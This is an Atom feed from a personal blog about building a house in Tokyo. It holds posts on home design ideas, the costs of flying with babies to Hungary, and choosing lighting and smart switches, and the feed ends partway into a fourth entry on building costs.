<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">

 <title>szabo.jp</title>
 <link href="https://szabo.jp/atom.xml" rel="self"/>
 <link href="https://szabo.jp/"/>
 <updated>2026-03-04T11:42:56+00:00</updated>
 <id>https://szabo.jp</id>
 <author>
   <name>Mark Szabo</name>
   <email></email>
 </author>

 
 <entry>
   <title>Home design ideas</title>
   <link href="https://szabo.jp/2026/03/01/home-design-ideas/"/>
   <updated>2026-03-01T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/03/01/home-design-ideas</id>
   <content type="html">&lt;p&gt;We &lt;a href=&quot;/2025/05/24/ichijo-referral/&quot;&gt;recently built our home in Tokyo with Ichijo&lt;/a&gt;. I already wrote about &lt;a href=&quot;/2025/05/26/designing-our-house/&quot;&gt;the process of designing our house&lt;/a&gt;, and &lt;a href=&quot;/2026/02/01/lights-for-our-house/&quot;&gt;designing our lighting&lt;/a&gt;, and in this post I’ll write about the major design ideas we used for our house.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;We have &lt;a href=&quot;/2025/11/01/house-handover/&quot;&gt;moved in about 3 months ago&lt;/a&gt;, so I can also share how well these ideas are working out. To protect our privacy, I decided not to share the full layout, so I’m sharing it as ideas and specific rooms.&lt;/p&gt;

&lt;h2 id=&quot;second-floor-living-room&quot;&gt;Second floor living room&lt;/h2&gt;

&lt;p&gt;Lands in urban centers (especially in Tokyo) are small, so houses are often close to each other. Getting natural light was important for us, so we decided to put the living room on the second floor on the South-East side. Our land opens from the South, and the neighbor to the East is a single-story house, so this means the LDK (living-dining-kitchen) gets a ton of light, especially from the morning to early afternoon.&lt;/p&gt;

&lt;p&gt;This way the balcony (on the South side) also opens from the living room, which makes it perfect for laundry. And since we have the bathroom and the washing machine also on the second floor, it is easy to hang the laundry. In the evening, it is also easy to move the laundry inside, as we have a laundry pipe in the living room near the balcony door.&lt;/p&gt;

&lt;p&gt;Another benefit of the second floor living room is that the space over the stairs make the room feel more spacious.&lt;/p&gt;

&lt;h2 id=&quot;storage-storage-storage&quot;&gt;Storage, storage, storage&lt;/h2&gt;

&lt;p&gt;You can never have enough storage. Especially in a house of 95 m2 (29 tsubo), it is very easy to run out of space, and then cleaning up becomes impossible. So we did our best to include as much storage as possible.&lt;/p&gt;

&lt;h3 id=&quot;attic-storage&quot;&gt;Attic storage&lt;/h3&gt;

&lt;p&gt;The biggest storage space we got is in the attic. The size of the land defines the maximum floor space of the house (e.g. 80%), however rooms with height under 140 cm don’t count. So it is possible to add an attic storage or loft without using additional floor space. Ichijo offers 2 solutions (both are paid options):&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;attic storage (屋根裏収納 or 小屋裏収納) - this is a separate room in the attic with a foldable ladder&lt;/li&gt;
  &lt;li&gt;loft (ロフト) - this has a fixed ladder and is open on one side, so the air is shared with the room&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-03-01-home-design-ideas/loft-storage-options.png#lb&quot; alt=&quot;Loft and attic storage options (from Ichijo&apos;s GRAND SMART option catalog, prices as of early 2024)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We got the attic storage, and it is such a life saver. It stores the suite cases, the skis, the baby bed we don’t use, seasonal decorations (e.g. Christmas tree), camping stuff (tent, sleeping bags, cart), etc. In previous apartments these would take up most of the walk-in-closet, but having a dedicated space for them is much better.&lt;/p&gt;

&lt;p&gt;For more details, I recommend reading &lt;a href=&quot;https://www.ichijo-style.com/ichijo-attic-storage/&quot;&gt;this blog post that goes into a lot of details&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;underfloor-storage-train&quot;&gt;Underfloor storage “train”&lt;/h3&gt;

&lt;p&gt;Under the first floor there is a crawl space, so many Japanese houses have an underfloor storage box. Ichijo goes a step further and instead of a single box, they install a “train” of boxes (3 or 5 “cars”) that slide back and forth. Ichijo calls this 床下パントリー (underfloor pantry). The main limitation is that the entire “train” has to fit without hitting a wall (as most walls continue in the crawl space).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-03-01-home-design-ideas/underfloor-pantry.png#lb&quot; alt=&quot;Underfloor pantry from the Ichijo catalog&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We got this in the corridor of the first floor, and it is great. We store our earthquake emergency bag, bottled water, and our wines. I was struggling to find a good place for our wine collection before: I didn’t want to put them near the floor, as the kids could reach them, but putting them high would risk them falling in case of an earthquake. Keeping them here is (sofar) the best solution. This storage is outside the house and thus it gets cold in winter and hot in summer, so I might need to reconsider if this becomes an issue.&lt;/p&gt;

&lt;h3 id=&quot;under-the-stairs&quot;&gt;Under the stairs&lt;/h3&gt;

&lt;p&gt;Ichijo offers open and a box-style stairs, and if one chooses the box-style, then under that can become storage.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-03-01-home-design-ideas/stairs.png#lb&quot; alt=&quot;Stair options from the Ichijo catalog&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We use this to store the DIY tools (drill, sander, saws, etc.), the vacuum cleaner, and the recyclable trash. Our city collects the burnable trash twice a week (this is the catch-all for everything non-recyclable), but paper and plastic are only collected weekly, and PET, cans, glass only every two weeks.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-03-01-home-design-ideas/under-the-stairs.jpg#lb&quot; alt=&quot;Our storage under the stairs&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;house-that-grows-with-our-family&quot;&gt;House that grows with our family&lt;/h2&gt;

&lt;p&gt;As a teenager I remember how much I liked having my own room. So it was paramount for me to make it possible for each of our kids to have their own rooms. When we started designing our house, we only had a 6 months old baby, and a plan to have 2 more. So we don’t need 3 rooms now, we need 3 rooms in 10 years. (And that is assuming we do get 3 kids.) Meanwhile we don’t have enough space to let rooms sit empty, so we came up with a design that grows as our family and kids grow.&lt;/p&gt;

&lt;p&gt;We put two kid’s rooms next to each other and removed the wall in-between. Each of them still have a dedicated door, a window, a ceiling light, but they became a single, big play room for now. We added carpet ourselves.&lt;/p&gt;

&lt;p&gt;The third kid’s room was built as-is, however it currently serves as the family closet: this is where we keep all the kids’ clothes, and a diaper changing table. Originally we planned to keep our own clothes here too (so that the main bedroom gets enough space for the baby bed), but we could fit an IKEA PAX wardrobe and the baby bed in the bedroom.&lt;/p&gt;

&lt;p&gt;Overall I’m really happy with this setup. The plan is that as kids get older, they will start sleeping in the play room, and when they get old enough to ask for their own room, we can split that room into two. This also leaves the option open to not split it: just because I wanted to have my own room as a teenager, my kids might decide to share a room.&lt;/p&gt;

&lt;h2 id=&quot;entrance-genkan&quot;&gt;Entrance (genkan)&lt;/h2&gt;

&lt;p&gt;The apartments we lived before always had a very narrow entrance (80-90 cm wide with a built-in shoe closet on one side). This worked great before kids, but once you try to fit a stroller in there, or try to get multiple kids dressed, it quickly becomes too small. So we decided to make ours wide.&lt;/p&gt;

&lt;p&gt;Moreover I always had issues with where to hang my coats: my wife brings hers to the closet in the bedroom, but I’d rather leave them at the entrance. Also when we have guests, it is nice if they can hang their coats at the entrance. So we made sure to have space for hangers here.&lt;/p&gt;

&lt;p&gt;We got the usual shoe closet, but I also found that we have things that don’t fit well in there: bicycle helmets, bicycle battery charger, keys. So we put another set of shelves on the side of the entrance door. We left the bottom of this big, so that the stroller can fit in there, and added some plugs in the middle, so that the bike batteries can be charged. This is great when I forget to bring the battery and have to come back to pick it up.&lt;/p&gt;

&lt;p&gt;We also added a sink at the entrance. When we come home, we can wash hands immediately. Since the bedrooms are on the first floor, this can also be used for brushing teeth or putting on make up. Then there is a toilet on the first floor too, and we also change diapers in the family closet, so having a full-size sink comes handy. We got the sink from WoodOne (same &lt;a href=&quot;/2025/04/12/custom-kitchen-with-ichijo/&quot;&gt;as our kitchen&lt;/a&gt;), so it uses real wood, which makes it a nice first impression when entering the house.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-03-01-home-design-ideas/genkan.jpg#lb&quot; alt=&quot;Behind the shoe closet on the right are hangers for coats and bike helmets. Opposite to that is the stroller and the shelves - this can be hidden with the roll curtain&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;kitchen&quot;&gt;Kitchen&lt;/h2&gt;

&lt;p&gt;I &lt;a href=&quot;/2025/04/12/custom-kitchen-with-ichijo/&quot;&gt;wrote about our journey of getting a custom kitchen&lt;/a&gt;, so I just want to quickly mention a few decisions we made.&lt;/p&gt;

&lt;p&gt;We decided not to have overhead storage in the kitchen. These are very common in Japan, but they tend to break up the space and split the kitchen and dining space.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-03-01-home-design-ideas/kitchen.jpg#lb&quot; alt=&quot;Fridge on the right, pantry on the back left&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This meant that we have less storage, which we addressed in two ways. We made the cupboard one drawer higher than usual (for an overall height of 105 cm). Apart from the additional storage, this also made the top of the counter high enough to be safe from kids (at least for a while). Then we added a small pantry: on the layout we created an empty 91x91 cm square, asked Ichijo to reinforce the wall (so that shelves can be attached anywhere), then created an L-shape shelf system DIY, using materials from the home improvement store, Kohnan.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-03-01-home-design-ideas/pantry.jpg#lb&quot; alt=&quot;DIY pantry - in progress, adding the lights (IKEA ÖVERSIDAN &amp;amp; TRÅDFRI), the final look. We have a second microwave here as the one on the cupboard doubles as oven, and we often bake in that.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The last idea I want to highlight here is the place of the trashcans: we &lt;a href=&quot;/assets/2025-04-12-custom-kitchen-with-ichijo/woodone-cupboard.png&quot;&gt;left out the bottom drawers of the cupboard at the end, and have the trashcans there&lt;/a&gt;. This keeps them close but out of the way. We have the burnable, plastic, and PET here.&lt;/p&gt;

&lt;h2 id=&quot;home-office&quot;&gt;Home office&lt;/h2&gt;

&lt;p&gt;I regularly work from home, so I wanted to have my own workroom/office. However when the entire house is 95 m2 and you want to fit in 4 bedrooms, there is just not enough place for one more full size room. So we made my office small: 125 x 170 cm. We added a (comparatively) large window to the room, which helps make it feel bigger, and made the door a sliding door. Since this room is on the second floor near the LDK, I can leave the door open when I don’t have any meeting, and I can hear if my family needs help.&lt;/p&gt;

&lt;p&gt;Sofar the room turned out to be the perfect size: I have a small, 100*60 cm standing desk, and I added wall-mounted shelves behind the chair. Big enough to be comfortable, small enough that it can’t get too messy.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-03-01-home-design-ideas/office.jpg#lb&quot; alt=&quot;Office - my backpacks are hanging on the sliding door&quot; /&gt;&lt;/p&gt;

&lt;p&gt;One potential problem though: the room is too small to have a dedicated air conditioner. It has floor heating, so in winter it’s fine, but in summer it will get hot. I have my home servers in this room too, as well as the &lt;a href=&quot;/2025/11/15/home-network/&quot;&gt;networking box&lt;/a&gt;, and those won’t help with the heat either. The room does have a dedicated air-intake, so that should help a bit. I’m thinking of adding a dehumidifier or a fan if needed.&lt;/p&gt;

&lt;h2 id=&quot;tv&quot;&gt;TV&lt;/h2&gt;

&lt;p&gt;This is a very minor thing, but something I’m proud of: I attached the TV to the wall in the living room, and hid all the cables behind it. We got sockets and an Ethernet port behind the TV, so the cables are all hidden, and safe from kids. We added an extra WiFi access point behind the TV already, and there is place to add our Nintendo Switch as well. Moreover having the TV fixed on the wall, makes it safe from falling, both from earthquakes and kids pushing it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-03-01-home-design-ideas/tv.jpg#lb&quot; alt=&quot;Everything is hidden behind the TV&quot; /&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Flying with babies/toddlers is expensive</title>
   <link href="https://szabo.jp/2026/02/11/flying-with-babies-is-expensive/"/>
   <updated>2026-02-11T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/02/11/flying-with-babies-is-expensive</id>
   <content type="html">&lt;p&gt;We had our first kid 2 years ago and the second baby was born recently. We went to Hungary in both of the last summers, and will be going this summer too. I wrote about &lt;a href=&quot;/2024/08/08/long-flight-with-baby/&quot;&gt;our experience the first time&lt;/a&gt;, and I will now write about why flying with babies and toddlers gets pretty expensive.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h2 id=&quot;layovers&quot;&gt;Layovers&lt;/h2&gt;

&lt;p&gt;There is no direct flight from Tokio to Budapest, so the two options we have is to either fly to Vienna and take a train or car from there (3 hours) or fly with a layover. Common layover options are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Eastern Europe: Helsinki, Warsaw, Vienna, Istanbul - shortest travel time but less flight options&lt;/li&gt;
  &lt;li&gt;Western Europe: Munich, Frankfurt, Amsterdam, London - longer travel but more options&lt;/li&gt;
  &lt;li&gt;Middle East: Dubai, Doha - longer travel on both legs&lt;/li&gt;
  &lt;li&gt;China&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Going with a Chinese airline is usually the cheapest, but there is risk, as customer service seems to be worse than others (especially with the recent flight cancellations, there are stories of people trying to check in just to realize the first leg of their trip was cancelled without any notification). So we excluded these.&lt;/p&gt;

&lt;p&gt;Middle East layover usually provides a good price, but the tricky part is that both flights are rather long which can make the second leg difficult with kids. But otherwise this could work.&lt;/p&gt;

&lt;p&gt;Western Europe does make the first leg longer, but otherwise could work. This time somehow the connection times were pretty bad though, like it gave us less than 2 hours for a connection in Frankfurt, which would be tight even without kids (especially as the flight from Tokio arrives to the non-Schengen area, so there is passport check before the flight to Budapest).&lt;/p&gt;

&lt;p&gt;Eastern Europe seem to offer the best combination of short travel time and smaller airports.&lt;/p&gt;

&lt;p&gt;Layover time also matters: it shouldn’t be too short (as there might be unexpected diaper changes) but also not too long. If it’s longer (4-5 hours) then we found that going into an airport lounge can be a good solution. Last year we had a 5 hour layover in Helsinki and went into the Finnair Schengen Lounge (5,000 yen per adult, free for the 1 year old), and it was totally worth it. Between coffee and breakfast we would have spent this much anyway, and the lounge had comfortable sofas (our kid took a nap there), quiet space, stress-free food and drink selection.&lt;/p&gt;

&lt;h2 id=&quot;timing-matters&quot;&gt;Timing matters&lt;/h2&gt;

&lt;p&gt;Before kids I didn’t mind taking any flights as long as it didn’t leave early morning or arrive very late at night. With kids however I want them to sleep on the long flight, so it should leave in the evening. Luckily most search sites (both skyscanner and the airlines’ own websites) let me filter for these. But this still reduces the available options.&lt;/p&gt;

&lt;h2 id=&quot;baby-bassinet-its-free-but&quot;&gt;Baby bassinet: it’s free, but&lt;/h2&gt;

&lt;p&gt;Most airlines offer baby bassinets for kids under 11-14kg, and it’s super helpful. To reserve this, airlines usually ask to call their customer center after making a reservation. Most of them say that the baby bassinet is for free, however some will charge for the seat reservation (as baby bassinet can only be installed in the bulkhead row which offers bigger legroom making it a premium seat option). The issue is that almost none of the airlines publish if they charge for this. Here is our experience with the airlines we flew/talked to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;ANA: added the seats for free for both parents&lt;/li&gt;
  &lt;li&gt;Austrian: charged for the seat reservation (had to give them my credit card on the phone and they charged around 30,000 yen for two seats, return trip. This was in 2024)&lt;/li&gt;
  &lt;li&gt;Finnair: they are actually the best in &lt;a href=&quot;https://www.finnair.com/jp-en/frequently-asked-questions/children/how-do-i-book-a-baby-bassinet--1883994&quot;&gt;telling us how it works&lt;/a&gt; - they mark the seat on the seat map and you are required to book the seat during the booking. In 2026 this would cost 20,000 yen per seat per flight (Tokyo-Helsinki).&lt;/li&gt;
  &lt;li&gt;JAL: this was the worse. We booked a trip with Finnair and the return Helsinki-Tokyo leg was operated by JAL. So Finnair told us to contact JAL for seat reservation and the baby bassinet. When we called JAL, they told us that they will only assign one seat for free next to the baby bassinet. If the other two of us also want to sit there, then we should talk to Finnair to change our ticket to the type that includes seat reservation, then call JAL again. But even then they will only let one more person sit next to the baby bassinet, the third person will have to sit on the other side of the aisle or the row behind. We asked if we could just pay for the seat reservation, but they said no, we have to talk to Finnair. Luckily &lt;a href=&quot;https://www.finnair.com/jp-en/frequently-asked-questions/customer-service/can-i-cancel-my-flight-within-24-hours-of-booking-and-get-a-full-refund--3946286&quot;&gt;Finnair offers free cancellation within the first 24 hours (regardless of ticket type)&lt;/a&gt;, so we cancelled the whole reservation.&lt;/li&gt;
  &lt;li&gt;LOT: this was the best. Based on &lt;a href=&quot;https://knaviation.net/flying-on-lot-with-baby/&quot;&gt;this great blog post&lt;/a&gt; I called them before finalizing the reservation, and they could add the basinet and the nearby seats to the reservation. Moreover they gave us all 3 seats between the aisles for free. The Japanese number was busy, but I used Skype to call their Polish number where they helped me quickly in English. One thing to note: the agent wasn’t fully sure about the process, so it is possible that other agents might not give all 3 seats (the &lt;a href=&quot;https://knaviation.net/flying-on-lot-with-baby/&quot;&gt;above linked blog post&lt;/a&gt; mentions only getting 2 seats for free).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So my ratings on this are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Best&lt;/strong&gt; (free seats): LOT and ANA&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Medium&lt;/strong&gt; (paid seats): Finnair, Austrian&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Worse&lt;/strong&gt; (not letting us sit together or pay directly for seat reservation): JAL&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;ticket-price&quot;&gt;Ticket price&lt;/h2&gt;

&lt;p&gt;Finally the main reason flying with kids is expensive: ticket prices. So under 2 years old (without a dedicated seat), their ticket is cheap (10-20% of a regular fare), but once they are above 2 (or if they want their own seat before) then their ticket jumps to 75% of an adult fare. Then from 12 years old they pay full price. Kids get their own luggage allowance though, and from 2 they have their own seat and get food too.&lt;/p&gt;

&lt;p&gt;Going from being a couple to a family of 4 we pay close to double, between being more limited in the flight selection and the additional tickets. And it’s only expected to go further up once the second kid turns 2.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Deciding the lights for our new house</title>
   <link href="https://szabo.jp/2026/02/01/lights-for-our-house/"/>
   <updated>2026-02-01T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/02/01/lights-for-our-house</id>
   <content type="html">&lt;p&gt;We recently &lt;a href=&quot;/2025/04/13/buying-a-land/&quot;&gt;bought land&lt;/a&gt; and &lt;a href=&quot;/2025/05/24/ichijo-referral/&quot;&gt;built our home in Tokyo&lt;/a&gt;. I &lt;a href=&quot;/2025/05/26/designing-our-house/&quot;&gt;wrote about the general design process&lt;/a&gt;, and in this post I will write about how we decided our lights. We have moved in 2 months ago, so I will also reflect on how well our ideas are working out so far.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;Lights are usually the last thing that gets discussed during the design process of a house (it starts with the layout and equipments, and only then the lights and sockets). Many people are tired by then and just accept whatever the architect proposes. We cared about every detail of the house, so we spent time deciding this, and looking back, it was worth it.&lt;/p&gt;

&lt;h2 id=&quot;looking-for-advice&quot;&gt;Looking for advice&lt;/h2&gt;

&lt;p&gt;We didn’t know anything about lights, so we looked for advice. Panasonic has a &lt;a href=&quot;https://sumai.panasonic.jp/lighting/eakariplus/&quot;&gt;free light advice service&lt;/a&gt;: upload the layouts, add any comments/wishes, they provide a lighting plan (of course using only Panasonic lights). We got this, and overall it was not bad, but they added 30-40% more lights than what we ended up using. I think it’s still a good starting point (and can bring up new ideas), but one should remember that they are in the business of selling lights so they might recommend more than necessary.&lt;/p&gt;

&lt;p&gt;We also had two 1 hour consulting session with a &lt;a href=&quot;https://coconala.com/users/1921513/&quot;&gt;a freelancer lighting designer&lt;/a&gt;: we shared our almost finalized layout and lighting plan, and went through each room with him on an online call. It was super helpful, he had great advice, and since he was paid by us directly, he could recommend lights from multiple companies (and also tell us that we had too many lights). I can highly recommend him (but please note that he doesn’t speak English).&lt;/p&gt;

&lt;h2 id=&quot;keeping-our-options-open&quot;&gt;Keeping our options open&lt;/h2&gt;

&lt;p&gt;One overarching principal for choosing lights was to allow us to change them later. This was partially due to the inevitability of changing preferences (e.g. kids growing up and wanting a different light) and also to minimize the decisions we had to make immediately (we only had to decide where the light will be, we can change the exact design later).&lt;/p&gt;

&lt;h3 id=&quot;カチットf&quot;&gt;カチットF&lt;/h3&gt;

&lt;p&gt;For all bedrooms, my office, and the living room we chose to get a カチットF type adapters and a simple ceiling light. These are the ones that are very common in rental apartments and it takes only a few minutes to change them:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-02-01-lights-for-our-house/kachittof.jpg#lb&quot; alt=&quot;カチットF adapter installation method in 4 simple steps&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The simple ceiling light still came with a remote that allows to change the brightness and color temperature. We had similar lights in our previous apartment, so we knew what we were getting. Also even the IKEA lights are compatible with this adapter, so if we ever want to change them, we will have multiple options.&lt;/p&gt;

&lt;h3 id=&quot;track-lighting&quot;&gt;Track lighting&lt;/h3&gt;

&lt;p&gt;The other changeable light we got were track lighting or lighting rails (ダクトレール) for the kitchen counter and the dining table. This has the same benefit as カチットF but in addition it lets you move lights and add multiple lights. Both are nice if we change the size of the dining table.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-02-01-lights-for-our-house/kitchen-rail-lights.jpg#lb&quot; alt=&quot;Photo of a track lighting that we used for inspiration (our layout is different so we got two separate rails for the counter and the table)&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;replaceable-bulb-in-the-downlights&quot;&gt;Replaceable “bulb” in the downlights&lt;/h3&gt;

&lt;p&gt;For places like the genkan, corridor, washroom, and kitchen, we wanted to get downlights. However the default one recommended by Ichijo had a non-replaceable bulb. It is supposed  to run for over 10 years, and then you need to ask an electrician to rip out the entire light and install a new one (this involves rewiring it, so only people with the electrician certification are allowed to do it). This is supposed to keep the cost low, but I really hated it, so I asked for one with replaceable bulbs.&lt;/p&gt;

&lt;p&gt;My first idea was to get a downlight with the normal E26 light bulb, but the architect said that those are very deep (as the bulbs are long) and they can’t be used on the top floor (they can’t fit due to the insulation). So he suggested one with a GX53 bulb, as these bulbs are flat, but still replaceable. The format is standardized so multiple companies are making them &lt;a href=&quot;https://www.youtube.com/watch?v=0Sbn1TIG2p0&quot;&gt;(at some point even IKEA was making them&lt;/a&gt;, although they stopped).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-02-01-lights-for-our-house/downlights.png#lb&quot; alt=&quot;Left: the default downlight - non-dimmable and non-replaceable bulb, Middle: the final downlight - dimmable and replaceable, Right: the GX53 bulb&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Being replaceable enables a few things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;if they are too bright, we can switch them to a lower power one (the opposite is usually not allowed due to power ratings)&lt;/li&gt;
  &lt;li&gt;if we want to change it to cold or warm white, it is possible&lt;/li&gt;
  &lt;li&gt;we can install a smart bulb if there is a need (the switches are smart already, so sofar I don’t have a use-case for this, but nice to keep the option open)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;warm-white-everywhere&quot;&gt;Warm white everywhere&lt;/h2&gt;

&lt;p&gt;For most lights, we could choose between cold, natural, or warm white. We were thinking between natural or warm, and I got the advice from someone that unless you are building an office or hospital, warm white everywhere is the best. The only exception is the washroom mirror for putting on make-up. So this is what we did: the downlights and bracket-lights are all 2700K, and the ceiling lights (カチットF) are set to warm using the remote.&lt;/p&gt;

&lt;p&gt;Actually Ichijo’s washroom sink cabinet includes a normal-white light, so even in the washroom the downlight on the ceiling is 2700K.&lt;/p&gt;

&lt;p&gt;After a few months in the house, this was a great idea. It gives the home a warm feel and helps prepare to sleep.&lt;/p&gt;

&lt;h2 id=&quot;low-light-for-night-action&quot;&gt;Low light for night action&lt;/h2&gt;

&lt;p&gt;We have two small kids, so between night feedings and diaper change, and later if kids wake up in the middle of the night, there is quite a bit of movement at night. We considered this during our design.&lt;/p&gt;

&lt;h3 id=&quot;night-light-at-foot-level&quot;&gt;Night light at foot-level&lt;/h3&gt;

&lt;p&gt;These are &lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/cosmo_wide21/lineup/concent/night/&quot;&gt;small lights from Panasonic&lt;/a&gt; that come with either motion sensor or light sensor. We have the latter, so it turns on when it gets dark and stays on until the morning, giving the hallways enough like to walk safely. We also put one to the bottom and one to the top of the stairs: the advice here was that once you start walking on the stairs, it is easy to keep walking, so lighting up the two ends is enough. In practice those two actually make the entire stairs visible.&lt;/p&gt;

&lt;p&gt;These really help not having to turn on the lights at night when going from one place to another.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-02-01-lights-for-our-house/foot-level.png#lb&quot; alt=&quot;Foot-level lights at the corridor&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;dimmable-lights&quot;&gt;Dimmable lights&lt;/h3&gt;

&lt;p&gt;We made most of the downlights dimmable. Right now this helps when I’m making formula for the baby or when changing diapers in the washroom, as we can keep the lights low to help us and the baby go back to sleep.&lt;/p&gt;

&lt;h3 id=&quot;auto-dimming-toilet-lights&quot;&gt;Auto-dimming toilet lights&lt;/h3&gt;

&lt;p&gt;For the toilets we added a motion sensor switch, so that the light gets turned on and off automatically. (We did consider using a smart switch and setting up the sensor ourselves, but one of the subsidies required the automatic switch.) We found one from Panasonic (&lt;a href=&quot;https://www2.panasonic.biz/jp/densetsu/haisen/switch_concent/cosmo_wide21/lineup/switch/link_fan/&quot;&gt;WTK12749W&lt;/a&gt;) that supports ほんのり点灯モード which means that at night it turns on at a lower brightness:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2026-02-01-lights-for-our-house/toilet-switch.png#lb&quot; alt=&quot;Operation profile of the toilet light - top is the light which is full brightness at day time and low brightness at night. Bottom is the fan which stays on for longer than the light&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Moreover this also controls the ventilation fan which stays on a few additional minutes (exact time is configurable) even after the light turns off.&lt;/p&gt;

&lt;p&gt;We didn’t add a window in either toilet, but if you have a window, then this can also be configured to only turn on the light if it’s dark.&lt;/p&gt;

&lt;h2 id=&quot;smart-lights&quot;&gt;Smart lights&lt;/h2&gt;

&lt;p&gt;I &lt;a href=&quot;/2024/07/28/smart-lights-overview/&quot;&gt;looked into smart lighting options in Japan&lt;/a&gt;, tested the &lt;a href=&quot;/2024/11/10/panasonic-advance-series-link-plus/&quot;&gt;Panasonic Advanced Series Link Plus switches&lt;/a&gt;, and got it for our house. So all switches (except the toilet and bath) are smart and can be controlled via HomeAssistant.&lt;/p&gt;

&lt;p&gt;This is turning out to be more useful than expected: after moving in we realized that some light switches are hard to reach, e.g. the kitchen counter’s switch is only in the corner of the kitchen, so when leaving and turning off everything, it is a bit inconvenient. But since it’s smart, I could add a simple &lt;a href=&quot;https://www.ikea.com/jp/en/p/styrbar-remote-control-smart-white-10488364/&quot;&gt;IKEA Zigbee button&lt;/a&gt; to create a secondary switch. Since the use-case is turning off all lights on the floor, I configured one of the buttons to do just that (off all lights).&lt;/p&gt;

&lt;p&gt;Where HomeAssistant and the centralized smart home really shines is when new lights are added. For example the Christmas tree lights: I used a smart plug for these, which also integrated with HomeAssistant, so then I could configure the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;turn off all lights&lt;/code&gt; button to also turn off the Christmas tree lights. Similarly we needed an extra light at the diaper changing table, and I could sync it with the ceiling light, so you just press the normal switch and both lights turn on.&lt;/p&gt;

&lt;h2 id=&quot;switches-and-sockets&quot;&gt;Switches and sockets&lt;/h2&gt;

&lt;p&gt;We added a bunch of electric sockets, and sofar they are proving to be very helpful, so I recommend adding as much as you can.&lt;/p&gt;

&lt;p&gt;Light switches: I’d recommend considering where you would want to control the lights from, and adding multiple switches for the same light to ensure all places are covered. For example for the kitchen counter you might want a switch right next to it (I’m cooking and it got dark) and also at the entrance of the LDK (I’m arriving/leaving the room). Same for both ends of hallways and also the genkan (one next to the entrance door, one where you go from the genkan to the rest of the house). These are less vital if you get smart switches (as you can always add extra smart buttons later),  but otherwise I would put some thoughts into it.&lt;/p&gt;

&lt;h2 id=&quot;per-room-overview&quot;&gt;Per room overview&lt;/h2&gt;

&lt;p&gt;Here is the type of light we got for each room:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;bedroom: カチットF ceiling light&lt;/li&gt;
  &lt;li&gt;kids rooms: カチットF ceiling lights&lt;/li&gt;
  &lt;li&gt;office: カチットF ceiling light&lt;/li&gt;
  &lt;li&gt;toilets: dimmable downlight with the auto-dimming sensor switch&lt;/li&gt;
  &lt;li&gt;genkan: downlights&lt;/li&gt;
  &lt;li&gt;hallways: dimmable downlights and the foot light&lt;/li&gt;
  &lt;li&gt;storage under the stairs: bracket light with GX53 bulb&lt;/li&gt;
  &lt;li&gt;stairs: bracket lights with GX53 bulb and the foot light&lt;/li&gt;
  &lt;li&gt;LDK:
    &lt;ul&gt;
      &lt;li&gt;living room: カチットF ceiling light&lt;/li&gt;
      &lt;li&gt;dining: rail with a hanging lamp over the dining table. Also dimmable downlights&lt;/li&gt;
      &lt;li&gt;kitchen: dimmable downlights and rail with two spot lights over the kitchen counter - this was a bit of an overkill, the downlights would have been enough, but we were thinking about getting some pendant lights for the counter initially&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;washroom: dimmable downlight&lt;/li&gt;
  &lt;li&gt;bathroom: downlights (this came built in with the unit bath)&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>The full cost of building our house in Tokyo</title>
   <link href="https://szabo.jp/2026/01/28/cost-of-our-house/"/>
   <updated>2026-01-28T00:00:00+00:00</updated>
   <id>https://szabo.jp/2026/01/28/cost-of-our-house</id>
